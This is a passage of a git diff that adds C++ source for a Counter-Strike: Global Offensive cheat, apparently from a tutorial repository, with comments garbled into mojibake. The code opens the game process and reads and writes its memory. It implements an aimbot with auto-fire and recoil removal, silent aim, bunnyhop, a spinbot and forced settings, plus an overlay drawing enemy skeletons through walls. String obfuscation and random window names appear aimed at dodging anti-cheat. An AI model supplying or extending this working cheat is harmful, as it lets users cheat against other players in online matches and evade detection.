жѪ */ + if (get_life_state(entity) == false) continue; + + /* ȡӪ */ + if (local_team == get_team(entity)) continue; + + /* ȡǹ״̬ */ + if (get_immunity(entity)) continue; + + /* ȡͷ */ + D3DXVECTOR3 bone = get_bone_pos(entity, 8); + + /* жǷɼ */ + if (m_bsp.is_visible(local_pos, bone) == false) continue; + + /* Ƕ */ + D3DXVECTOR3 angle = get_aimbot_angle(local_pos, bone); + + /* ȡ */ + D3DXVECTOR3 punch = m_memory.read(local_player + m_aimPunchAngle) * 2; + if (abs(punch.x) > 1.0f) continue; + angle -= punch; + + /* һǶ */ + angle_normalize(angle); + //clamp_angles(angle); + + /* ýǶ */ + set_angle(angle); + + /* Ƿô */ + bool top = FindWindowA(nullptr, "Counter-Strike: Global Offensive") == GetForegroundWindow(); + + /* */ + if (top && IsIDSniper(weapon_index)) + { + if (get_scoped(local_player) == false) + { + mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0); + Sleep(150);//С + //Sleep(400);// + return false; + } + //else if (get_two_scoped(local_player) == false) mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0); + } + + /* ǹ */ + mouse_left_down(); + return true; + } + + return false; + } + + /* Ĭ */ + bool silent() + { + static bool last_status = false; + static D3DXVECTOR3 angle; + if (last_status == false) angle = get_angle(); + else + { + set_angle(angle); + last_status = false; + } + last_status = aimbot(); + return last_status; + } + + /* */ + void bunnyhop() + { +#define FORCE_JUMP_BITMASK (1<<0) + + /* ȡԼַ */ + DWORD local_player = m_memory.read(m_client + dwLocalPlayer); + if (local_player == 0) return; + + /* ȡԼ״̬ */ + if (get_life_state(local_player) == false) return; + + if (GetAsyncKeyState(VK_SPACE) & 0x8000) + { + int state = m_memory.read(m_client + dwForceJump); + unsigned char ground = m_memory.read(local_player + m_fFlags); + if (ground) state |= FORCE_JUMP_BITMASK; + else state &= ~FORCE_JUMP_BITMASK; + m_memory.write(m_client + dwForceJump, state); + } + } + + /* */ + void big_top() + { + /* ȡԼַ */ + DWORD local_player = m_memory.read(m_client + dwLocalPlayer); + if (local_player == 0) return; + + /* ȡԼ״̬ */ + if (get_life_state(local_player) == false) return; + + /* ȡǰ */ + short weapon_index = get_weapon_index(local_player); + if (IsIDKnife(weapon_index) || IsIDOther(weapon_index)) return; + + /* ǰĽǶ */ + static D3DXVECTOR3 last_angle{ 0,0,0 }; + + if (m_memory.read(m_client + dwForceForward) == false + && m_memory.read(m_client + dwForceBackward) == false + && m_memory.read(m_client + dwForceLeft) == false + && m_memory.read(m_client + dwForceRight) == false) + { + if (last_angle.x == 0.0f &&last_angle.y == 0.0f) last_angle = get_angle(); + + D3DXVECTOR3 last_angle{ 89,0,0 }; + last_angle.x = rand() % 90; + last_angle.y = rand() % 180; + if (rand() % 2 == 0) + { + last_angle.x = -last_angle.x; + last_angle.y = -last_angle.y; + } + set_angle(last_angle); + } + else + { + if (last_angle.x && last_angle.y) + { + set_angle(last_angle); + last_angle = { 0,0,0 }; + } + } + } + + /* ֵ */ + void handle_convar() + { + /* úڴ */ + set_convar_value(AY_OBFUSCATE("mat_postprocess_enable"), 0); + + /* û */ + set_convar_value(AY_OBFUSCATE("r_3dsky"), 0); + + /* */ + set_convar_value(AY_OBFUSCATE("r_drawparticles"), 0); $$$; + + /* ƳӰ */ + set_convar_value(AY_OBFUSCATE("cl_csm_enabled"), 0); + + /* Ӿ */ + set_convar_value(AY_OBFUSCATE("view_recoil_tracking"), 1); $$$; + + /* */ + set_convar_value(AY_OBFUSCATE("cl_crosshair_recoil"), 1); $$$; + set_convar_value(AY_OBFUSCATE("weapon_debug_spread_show"), 3); $$$; + + /* ʾͶ׹켣 */ + set_convar_value(AY_OBFUSCATE("cl_grenadepreview"), 1); $$$; + + set_convar_value(AY_OBFUSCATE("cl_forwardspeed"), 450); $$$; + set_convar_value(AY_OBFUSCATE("cl_sidespeed"), 450); $$$; + set_convar_value(AY_OBFUSCATE("cl_backspeed"), 450); $$$; + } +}; \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/Q.hvh\351\231\200\350\236\272\350\207\252\347\236\204/main.cpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/Q.hvh\351\231\200\350\236\272\350\207\252\347\236\204/main.cpp" new file mode 100644 index 0000000..3d6862a --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/Q.hvh\351\231\200\350\236\272\350\207\252\347\236\204/main.cpp" @@ -0,0 +1,39 @@ +#pragma warning(disable : 4244) + +#include "cheats.hpp" +#include + +//߳ +void __cdecl hack_thread(void*) +{ + cheats* g = new cheats(); + if (g->initialize() == false) return; + + // ֵ + g->handle_convar(); + + while (true) + { + // µͼ + g->update_map(); + + // Ĭ + if (g->silent() == false) {}//g->big_top(); + + // Թ + g->glow(); + + // + g->bunnyhop(); + + Sleep(10); + } +} + +int main(int argc, char* argv[]) +{ + HANDLE hThread = (HANDLE)_beginthread(hack_thread, 0, nullptr); + WaitForSingleObject(hThread, INFINITE); + system("pause"); + return 0; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/Q.hvh\351\231\200\350\236\272\350\207\252\347\236\204/memory.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/Q.hvh\351\231\200\350\236\272\350\207\252\347\236\204/memory.hpp" new file mode 100644 index 0000000..be778c1 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/Q.hvh\351\231\200\350\236\272\350\207\252\347\236\204/memory.hpp" @@ -0,0 +1,117 @@ +#pragma once + +#include +#include + +class memory +{ +private: + DWORD m_pid;//ID + +public: + memory() {} + ~memory() {} + + /* ȡID */ + inline DWORD get_pid() { return m_pid; } + + /* ָ */ + bool attach(const char* process) + { + HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (Snap == INVALID_HANDLE_VALUE) return false; + + PROCESSENTRY32 ProcessInfo{ 0 }; + ProcessInfo.dwSize = sizeof(ProcessInfo); + + if (Process32First(Snap, &ProcessInfo)) + { + do + { + if (strcmp(process, ProcessInfo.szExeFile) == 0) + { + CloseHandle(Snap); + m_pid = ProcessInfo.th32ProcessID; + return true; + } + } while (Process32Next(Snap, &ProcessInfo)); + } + + CloseHandle(Snap); + return false; + } + + /* ָģ */ + MODULEENTRY32 find_module(const char* name) + { + MODULEENTRY32 Result{ 0 }; + Result.dwSize = sizeof(Result); + + HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, m_pid); + if (Snap == INVALID_HANDLE_VALUE) return Result; + + if (Module32First(Snap, &Result)) + { + do + { + if (strcmp(name, Result.szModule) == 0) + { + CloseHandle(Snap); + return Result; + } + } while (Module32Next(Snap, &Result)); + } + + CloseHandle(Snap); + return {}; + } + + /* ȡڴ */ + template + T read(DWORD addr, int size = 0) + { + T result{}; + size = (size == 0) ? sizeof(result) : size; + + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, m_pid); + if (hProcess == NULL) return result; + + SIZE_T bytes = 0; + ReadProcessMemory(hProcess, (LPCVOID)addr, &result, size, &bytes); + + CloseHandle(hProcess); + + return result; + } + + /* ȡַ */ + std::string read_string(DWORD addr, int size) + { + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, m_pid); + if (hProcess == NULL) return ""; + + SIZE_T bytes = 0; + std::string buffer; + buffer.resize(size); + ReadProcessMemory(hProcess, (LPCVOID)addr, buffer.data(), size, &bytes); + + CloseHandle(hProcess); + + return buffer; + } + + /* дڴ */ + template + void write(DWORD addr, T buf, int size = 0) + { + size = (size == 0) ? sizeof(buf) : size; + + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, m_pid); + if (hProcess == NULL) return; + + SIZE_T bytes = 0; + WriteProcessMemory(hProcess, (LPVOID)addr, &buf, size, &bytes); + + CloseHandle(hProcess); + } +}; \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/Q.hvh\351\231\200\350\236\272\350\207\252\347\236\204/obfuscator.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/Q.hvh\351\231\200\350\236\272\350\207\252\347\236\204/obfuscator.hpp" new file mode 100644 index 0000000..4701ea1 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/Q.hvh\351\231\200\350\236\272\350\207\252\347\236\204/obfuscator.hpp" @@ -0,0 +1,175 @@ +#pragma once +/* --------------------------- ABOUT --------------------------------- +Original Author: Adam Yaxley +Website: https://github.com/adamyaxley +License: See end of file +Obfuscate +Guaranteed compile-time string literal obfuscation library for C++14 +Usage: +Pass string literals into the AY_OBFUSCATE macro to obfuscate them at +compile time. AY_OBFUSCATE returns a temporary ay::obfuscated_data +object that is implicitly convertable to a char*. +Example: +auto obfuscated_string = AY_OBFUSCATE("Hello World"); +std::cout << obfuscated_string << std::endl; +------------------------------------------------------------------- */ + +#include + +namespace ay +{ + // Obfuscates a string at compile time + template + class obfuscator + { + public: + // Obfuscates the string 'data' on construction + constexpr obfuscator(const char* data) + { + static_assert(KEY != '\0', "KEY must not be the null character."); + + // On construction each of the characters in the string is obfuscated with an XOR cipher based on KEY + for (std::size_t i = 0; i < N; i++) + { + m_data[i] = data[i] ^ KEY; + } + } + + constexpr const char* getData() const + { + return &m_data[0]; $$$; + } + + constexpr std::size_t getSize() const + { + return N; $$$; + } + + constexpr char getKey() const + { + return KEY; $$$; + } + + private: + + char m_data[N]{}; + }; + + // Handles decryption and re-encryption of an encrypted string at runtime + template + class obfuscated_data + { + public: + obfuscated_data(const obfuscator& obfuscator) + { + for (int i = 0; i < N; i++) + { + m_data[i] = obfuscator.getData()[i]; $$$; + } + } + + ~obfuscated_data() + { + // Zero m_data to remove it from memory + for (int i = 0; i < N; i++) + { + m_data[i] = 0; $$$; + } + } + + // Returns a pointer to the plain text string, decrypting it if necessary + operator char*() + { + decrypt(); $$$; + return m_data; $$$; + } + + // Manually decrypt the string + void decrypt() + { + $$$; + if (is_encrypted()) + { + $$$; + for (std::size_t i = 0; i < N; i++) + { + m_data[i] ^= KEY; $$$; + } + } + } + + // Manually re-encrypt the string + void encrypt() + { + //$$$; + if (!is_encrypted()) + { + //$$$; + for (std::size_t i = 0; i < N; i++) + { + m_data[i] ^= KEY; $$$; + } + } + } + + // Returns true if this string is currently encrypted, false otherwise. + bool is_encrypted() const + { + return m_data[N - 1] != '\0'; $$$; + } + + private: + + // Local storage for the string. Call is_encrypted() to check whether or not the string is currently obfuscated. + char m_data[N]; + }; + + // This function exists purely to extract the number of elements 'N' in the array 'data' + template + constexpr auto makeObfuscator(const char(&data)[N]) + { + return obfuscator(data); //$$$; + } +} + +// Obfuscates the string 'data' at compile-time and returns an ay::obfuscated_data object that has +// functions for decrypting the string and is also implicitly convertable to a char* + +#ifdef STRING_OBFUSCATOR +#define AY_OBFUSCATE(data) AY_OBFUSCATE_KEY(data, '.') +#else +#define AY_OBFUSCATE(data) data +#endif + +// Obfuscates the string 'data' with 'key' at compile-time and returns an ay::obfuscated_data object that has +// functions for decrypting the string and is also implicitly convertable to a char* +#define AY_OBFUSCATE_KEY(data, key) \ + [](){ \ + constexpr auto n = sizeof(data)/sizeof(data[0]); \ + static_assert(data[n - 1] == '\0', "String must be null terminated"); \ + constexpr auto obfuscator = ay::makeObfuscator(data); \ + return ay::obfuscated_data(obfuscator); \ + }() + +/* --------------------------- LICENSE ------------------------------- +Public Domain (http://www.unlicense.org) +This is free and unencumbered software released into the public domain. +Anyone is free to copy, modify, publish, use, compile, sell, or +distribute this software, either in source code form or as a compiled +binary, for any purpose, commercial or non-commercial, and by any +means. +In jurisdictions that recognize copyright laws, the author or authors +of this software dedicate any and all copyright interest in the +software to the public domain. We make this dedication for the benefit +of the public at large and to the detriment of our heirs and +successors. We intend this dedication to be an overt act of +relinquishment in perpetuity of all present and future rights to this +software under copyright law. +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. +IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR +OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, +ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR +OTHER DEALINGS IN THE SOFTWARE. +------------------------------------------------------------------- */ diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/R.\347\273\230\345\210\266\344\272\272\347\211\251\351\252\250\351\252\274/README.md" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/R.\347\273\230\345\210\266\344\272\272\347\211\251\351\252\250\351\252\274/README.md" new file mode 100644 index 0000000..b6c72bf --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/R.\347\273\230\345\210\266\344\272\272\347\211\251\351\252\250\351\252\274/README.md" @@ -0,0 +1,32 @@ +# 前言 + +[百度网盘 提取码: nmgb](https://pan.baidu.com/s/1l9hjqEkfUtuAa4sPNmU75A) + +[在线播放 ](https://www.ixigua.com/6873083514258981384/?utm_source=xiguastudio) + +# 截图展示 +

+ +

+ + + + + + + + + + + + + + + + + + + + + + diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/R.\347\273\230\345\210\266\344\272\272\347\211\251\351\252\250\351\252\274/cheats.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/R.\347\273\230\345\210\266\344\272\272\347\211\251\351\252\250\351\252\274/cheats.hpp" new file mode 100644 index 0000000..695559c --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/R.\347\273\230\345\210\266\344\272\272\347\211\251\351\252\250\351\252\274/cheats.hpp" @@ -0,0 +1,157 @@ +#pragma once + +#include +#include +#include + +/* + +*/ + +constexpr DWORD dwLocalPlayer = 0xD3AC5C; +constexpr DWORD dwEntityList = 0x4D4F1FC; +constexpr DWORD m_iHealth = 0x100; +constexpr DWORD m_dwBoneMatrix = 0x26A8; +constexpr DWORD dwViewMatrix = 0x4D40B44; + +class cheat +{ +private: + DWORD m_pid; + HANDLE m_process; + +public: + cheat() {} + ~cheat() {} + + /* ȡCSGOĽ̾ID */ + bool get_process(const char* process = "csgo.exe") + { + HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (Snap == INVALID_HANDLE_VALUE) return false; + + PROCESSENTRY32 ProcessInfo{ 0 }; + ProcessInfo.dwSize = sizeof(ProcessInfo); + + if (Process32First(Snap, &ProcessInfo)) + { + do + { + if (strcmp(process, ProcessInfo.szExeFile) == 0) + { + CloseHandle(Snap); + + /* ID */ + m_pid = ProcessInfo.th32ProcessID; + + /* ̾ !!!!Σյķʽ!!!!! */ + m_process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, m_pid); + + return m_pid && m_process != INVALID_HANDLE_VALUE; + } + } while (Process32Next(Snap, &ProcessInfo)); + } + + CloseHandle(Snap); + return false; + } + + /* ָģ */ + DWORD find_module(const char* name) + { + MODULEENTRY32 Result{ 0 }; + Result.dwSize = sizeof(Result); + + HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, m_pid); + if (Snap == INVALID_HANDLE_VALUE) return 0; + + if (Module32First(Snap, &Result)) + { + do + { + if (strcmp(name, Result.szModule) == 0) + { + CloseHandle(Snap); + return (DWORD)Result.modBaseAddr; + } + } while (Module32Next(Snap, &Result)); + } + + CloseHandle(Snap); + return 0; + } + + /* ȡڴ */ + template + T read(DWORD addr) + { + T result{ }; + ReadProcessMemory(m_process, (LPCVOID)addr, (LPVOID)&result, sizeof(T), nullptr); + return result; + } + + /* дڴ */ + template + void write(DWORD addr, T buffer) + { + WriteProcessMemory(m_process, (LPVOID)addr, (LPCVOID)&buffer, sizeof(T), nullptr); + } + + /* ȡλ */ + D3DXVECTOR3 get_bone_pos(DWORD base, int index) + { + typedef struct { + float Matrix[3][4]; + } Matrix3x4_t; + + DWORD addr = read(base + m_dwBoneMatrix); + if (addr) + { + Matrix3x4_t result = read(addr + index * 0x30); + + return{ + result.Matrix[0][3], + result.Matrix[1][3], + result.Matrix[2][3] + }; + } + + return { 0,0,0 }; + } + + /* תΪϢ */ + bool to_rect_info(float matrix[][4], float* location, int window_width, int window_heigt, int& x, int& y, int& w, int& h) + { + float to_target = matrix[2][0] * location[0] + + matrix[2][1] * location[1] + + matrix[2][2] * location[2] + + matrix[2][3]; + if (to_target < 0.01f) + { + x = y = w = h = 0; + return false; + } + to_target = 1.0f / to_target; + + float to_width = window_width + (matrix[0][0] * location[0] + + matrix[0][1] * location[1] + + matrix[0][2] * location[2] + + matrix[0][3]) * to_target * window_width; + + float to_height_h = window_heigt - (matrix[1][0] * location[0] + + matrix[1][1] * location[1] + + matrix[1][2] * (location[2] /*+ 75.0f*/) + + matrix[1][3]) * to_target * window_heigt; + + float to_height_w = window_heigt - (matrix[1][0] * location[0] + + matrix[1][1] * location[1] + + matrix[1][2] * (location[2]/* - 5.0f*/) + + matrix[1][3]) * to_target * window_heigt; + + x = (int)(to_width - (to_height_w - to_height_h) / 4.0f); + y = (int)(to_height_h); + w = (int)((to_height_w - to_height_h) / 2.0f); + h = (int)(to_height_w - to_height_h); + return true; + } +}; \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/R.\347\273\230\345\210\266\344\272\272\347\211\251\351\252\250\351\252\274/demo.png" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/R.\347\273\230\345\210\266\344\272\272\347\211\251\351\252\250\351\252\274/demo.png" new file mode 100644 index 0000000..3d777ad Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/R.\347\273\230\345\210\266\344\272\272\347\211\251\351\252\250\351\252\274/demo.png" differ diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/R.\347\273\230\345\210\266\344\272\272\347\211\251\351\252\250\351\252\274/main.cpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/R.\347\273\230\345\210\266\344\272\272\347\211\251\351\252\250\351\252\274/main.cpp" new file mode 100644 index 0000000..403881e --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/R.\347\273\230\345\210\266\344\272\272\347\211\251\351\252\250\351\252\274/main.cpp" @@ -0,0 +1,18 @@ +#include "overlay.hpp" + +INT WINAPI WinMain( + _In_ HINSTANCE hInstance, + _In_opt_ HINSTANCE hPrevInstance, + _In_ LPSTR lpCmdLine, + _In_ int nShowCmd) +{ + HWND hWnd = FindWindowA("Valve001", "Counter-Strike: Global Offensive"); + assert(hWnd && "޷ҵCSGOھ"); + + overlay* g = new overlay(hWnd); + g->create_overlay_window(); + g->initialize(); + g->message_handle(); + + return 0; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/R.\347\273\230\345\210\266\344\272\272\347\211\251\351\252\250\351\252\274/overlay.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/R.\347\273\230\345\210\266\344\272\272\347\211\251\351\252\250\351\252\274/overlay.hpp" new file mode 100644 index 0000000..ccaa95d --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/R.\347\273\230\345\210\266\344\272\272\347\211\251\351\252\250\351\252\274/overlay.hpp" @@ -0,0 +1,367 @@ +#pragma once +#define _CRT_SECURE_NO_WARNINGS + +#include +#pragma comment(lib,"d3d9.lib") + +#include +#pragma comment(lib,"d3dx9.lib") + +#include +#pragma comment(lib, "dwmapi.lib") + +#include +#include +#include + +#include + +#include "cheats.hpp" + +/* +ڸ +*/ + +class overlay +{ +private: + IDirect3D9* m_IDirect3D9; + IDirect3DDevice9* m_IDirect3DDevice9; + + ID3DXLine* m_ID3DXLine; + ID3DXFont* m_ID3DXFont; + + D3DPRESENT_PARAMETERS m_D3DPRESENT_PARAMETERS; + + HWND m_hwnd; + HWND m_game; + + cheat m_cheat; + + /* ַ */ + char* random_string() + { + static std::vector maps{ 'q','w','e','r','t','y','u','i','o','p','l','k','j','h','g','f','d','s','a','z','x','c','v','b','n','m','Q','A','Z','W','S','X','E','D','C','R','F','V','T','G','B','Y','H','N','U','J','M','I','K','O','L','P','1','2','3','4','5','6','7','8','9','0' }; + static char buffer[100]{ 0 }; + + srand((unsigned)time(nullptr)); + for (int i = 0; i < 30; i++) buffer[i] = maps[rand() % maps.size()]; + return buffer; + } + + /* ڹ */ + static LRESULT CALLBACK window_process(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) + { + static MARGINS margins{ 0 }; + + switch (uMsg) + { + case WM_CREATE: + DwmExtendFrameIntoClientArea(hWnd, &margins); + return 1; + case WM_CLOSE: + PostQuitMessage(0); + return 1; + } + return DefWindowProcA(hWnd, uMsg, wParam, lParam); + } + +public: + overlay(HWND hWnd) : m_game(hWnd) {} + ~overlay() {} + + /* һ͸ */ + bool create_overlay_window() + { + char sz_class[100]{ 0 }, sz_title[100]{ 0 }; + strcpy(sz_class, random_string()); + strcpy(sz_title, random_string()); + + WNDCLASSEXA window_class{ 0 }; + window_class.cbSize = sizeof(window_class); + window_class.hCursor = LoadCursor(0, IDC_ARROW); + window_class.hInstance = GetModuleHandle(NULL); + window_class.lpfnWndProc = window_process; + window_class.lpszClassName = sz_class; + window_class.style = CS_VREDRAW | CS_HREDRAW; + if (RegisterClassExA(&window_class) == 0) + { + MessageBoxA(nullptr, "RegisterClassExA", "", MB_OK | MB_ICONHAND); + exit(-1); + } + + RECT rect{ 0 }; + GetWindowRect(m_game, &rect); + int x = rect.left; + int y = rect.top; + int width = rect.right - rect.left; + int height = rect.bottom - rect.top; + if (GetWindowLongA(m_game, GWL_STYLE) & WS_CAPTION) + { + x += 8; + width -= 8; + y += 30; + height -= 30; + } + + m_hwnd = CreateWindowExA(WS_EX_TOPMOST | WS_EX_TRANSPARENT | WS_EX_LAYERED, + sz_class, sz_title, WS_POPUP, x, y, width, height, NULL, NULL, GetModuleHandle(NULL), NULL); + if (m_hwnd == NULL) + { + MessageBoxA(nullptr, "CreateWindowExA", "", MB_OK | MB_ICONHAND); + exit(-1); + } + + SetLayeredWindowAttributes(m_hwnd, 0, RGB(0, 0, 0), LWA_COLORKEY); + UpdateWindow(m_hwnd); + ShowWindow(m_hwnd, SW_SHOW); + + return true; + } + + /* Ϣѭ */ + void message_handle() + { + MSG msg{ 0 }; + while (msg.message != WM_QUIT) + { + if (PeekMessageA(&msg, 0, 0, 0, PM_REMOVE)) + { + TranslateMessage(&msg); + DispatchMessageA(&msg); + } + else + { + RECT rect{ 0 }; + GetWindowRect(m_game, &rect); + int x = rect.left; + int y = rect.top; + int width = rect.right - rect.left; + int height = rect.bottom - rect.top; + if (GetWindowLongA(m_game, GWL_STYLE) & WS_CAPTION) + { + x += 8; + width -= 8; + y += 30; + height -= 30; + } + + MoveWindow(m_hwnd, x, y, width, height, TRUE); + + render(); + } + } + } + + /* ʼ */ + bool initialize() + { + m_IDirect3D9 = Direct3DCreate9(D3D_SDK_VERSION); + if (m_IDirect3D9 == nullptr) + { + MessageBoxA(nullptr, "Direct3DCreate9", "", MB_OK | MB_ICONHAND); + exit(-1); + } + + memset(&m_D3DPRESENT_PARAMETERS, 0, sizeof(m_D3DPRESENT_PARAMETERS)); + m_D3DPRESENT_PARAMETERS.Windowed = TRUE; + m_D3DPRESENT_PARAMETERS.SwapEffect = D3DSWAPEFFECT_DISCARD; + m_D3DPRESENT_PARAMETERS.BackBufferFormat = D3DFMT_UNKNOWN; + m_D3DPRESENT_PARAMETERS.EnableAutoDepthStencil = TRUE; + m_D3DPRESENT_PARAMETERS.AutoDepthStencilFormat = D3DFMT_D16; + m_D3DPRESENT_PARAMETERS.PresentationInterval = D3DPRESENT_INTERVAL_ONE; + HRESULT result = m_IDirect3D9->CreateDevice(D3DADAPTER_DEFAULT, D3DDEVTYPE_HAL, m_hwnd, D3DCREATE_HARDWARE_VERTEXPROCESSING, &m_D3DPRESENT_PARAMETERS, &m_IDirect3DDevice9); + if (result != D3D_OK) + { + MessageBoxA(nullptr, "CreateDevice", "", MB_OK | MB_ICONHAND); + exit(-1); + } + + result = D3DXCreateLine(m_IDirect3DDevice9, &m_ID3DXLine); + if (result != D3D_OK) + { + MessageBoxA(nullptr, "D3DXCreateLine", "", MB_OK | MB_ICONHAND); + exit(-1); + } + + result = D3DXCreateFontA(m_IDirect3DDevice9, 20, 0, FW_DONTCARE, D3DX_DEFAULT, FALSE, DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, DEFAULT_QUALITY, FF_DONTCARE, "Arial", &m_ID3DXFont);//Arial Vernada + if (result != D3D_OK) + { + MessageBoxA(nullptr, "D3DXCreateFontA", "", MB_OK | MB_ICONHAND); + exit(-1); + } + + return true; + } + + /* Ⱦ */ + void render_rect(float x, float y, float width, float height, D3DCOLOR color = D3DCOLOR_ARGB(255, 0, 0, 255), float size = 1.0f) + { + D3DXVECTOR2 vextor[5]{ {x,y},{x + width,y},{x + width,y + height},{x,y + height},{x,y} }; + m_ID3DXLine->SetWidth(size); + m_ID3DXLine->Draw(vextor, 5, color); + } + + /* Ⱦı */ + void render_text(long x, long y, const char* text, D3DCOLOR color = D3DCOLOR_ARGB(255, 0, 0, 255)) + { + RECT rect{ x,y }; + m_ID3DXFont->DrawTextA(nullptr, text, -1, &rect, DT_CALCRECT, color); + m_ID3DXFont->DrawTextA(nullptr, text, -1, &rect, DT_LEFT, color); + } + + /* Ⱦ߶ */ + void render_line(float left, float top, float right, float down, D3DCOLOR color = D3DCOLOR_ARGB(255, 0, 0, 255), float size = 1.0f) + { + D3DXVECTOR2 vextor[2]{ {left,top},{right,down} }; + m_ID3DXLine->SetWidth(size); + m_ID3DXLine->Draw(vextor, 2, color); + } + + /* Ⱦ */ + void render() + { + if (m_IDirect3DDevice9) + { + m_IDirect3DDevice9->Clear(0, 0, D3DCLEAR_TARGET, 0, 1.0f, 0); + if (SUCCEEDED(m_IDirect3DDevice9->BeginScene())) + { + if (m_game == GetForegroundWindow()) + { + //дԼȾ + //render_rect(10, 10, 200, 200); + //render_text(50, 50, "Dz", D3DCOLOR_ARGB(255, 255, 255, 0)); + //render_line(100, 100, 300, 300, D3DCOLOR_ARGB(255, 0, 255, 0), 3.0f); + + static bool state = m_cheat.get_process(); + static DWORD client = m_cheat.find_module("client.dll"); + static DWORD engine = m_cheat.find_module("engine.dll"); + assert(state && client && engine && "ȡCSGOϢʧ"); + + do + { + RECT rect{ 0 }; + GetClientRect(m_game, &rect); + int half_width = (rect.right - rect.left) / 2; + int half_height = (rect.bottom - rect.top) / 2; + + DWORD local = m_cheat.read(client + dwLocalPlayer); + if (local == 0) break; + + int health = m_cheat.read(local + m_iHealth); + if (health <= 0) break; + + struct help { float data[4][4]{ 0 }; }; + help matrix = m_cheat.read(client + dwViewMatrix); + + for (int i = 0; i < 64; i++) + { + DWORD entity = m_cheat.read(client + dwEntityList + i * 0x10); + if (entity == 0 || entity == local) continue; + + if (m_cheat.read(entity + m_iHealth) <= 0) continue; + + D3DXVECTOR3 bone = m_cheat.get_bone_pos(entity, 8); + if (bone == D3DXVECTOR3{ 0,0,0 }) continue; + + int x, y, w, h; + if (m_cheat.to_rect_info(matrix.data, bone, half_width, half_height, x, y, w, h) == false) continue; + + //ͷ + render_line(half_width, 0, x, y, D3DCOLOR_ARGB(255, 255, 0, 255)); + //render_line(half_width, half_height, x, y); + + bone = m_cheat.get_bone_pos(entity, 10); + int x1, y1; + m_cheat.to_rect_info(matrix.data, bone, half_width, half_height, x1, y1, w, h); + + //ز + render_line(x, y, x1, y1); + + // + { + int bones[3][2]{ 0 }; + + bone = m_cheat.get_bone_pos(entity, 11); + m_cheat.to_rect_info(matrix.data, bone, half_width, half_height, bones[0][0], bones[0][1], w, h); + + bone = m_cheat.get_bone_pos(entity, 12); + m_cheat.to_rect_info(matrix.data, bone, half_width, half_height, bones[1][0], bones[1][1], w, h); + + bone = m_cheat.get_bone_pos(entity, 13); + m_cheat.to_rect_info(matrix.data, bone, half_width, half_height, bones[2][0], bones[2][1], w, h); + + for (int i = 0; i < 2; i++) render_line(bones[i][0], bones[i][1], bones[i + 1][0], bones[i + 1][1]); + + render_line(bones[0][0], bones[0][1], x1, y1); + } + + // + { + int bones[3][2]{ 0 }; + + bone = m_cheat.get_bone_pos(entity, 39); + m_cheat.to_rect_info(matrix.data, bone, half_width, half_height, bones[0][0], bones[0][1], w, h); + + bone = m_cheat.get_bone_pos(entity, 40); + m_cheat.to_rect_info(matrix.data, bone, half_width, half_height, bones[1][0], bones[1][1], w, h); + + bone = m_cheat.get_bone_pos(entity, 41); + m_cheat.to_rect_info(matrix.data, bone, half_width, half_height, bones[2][0], bones[2][1], w, h); + + for 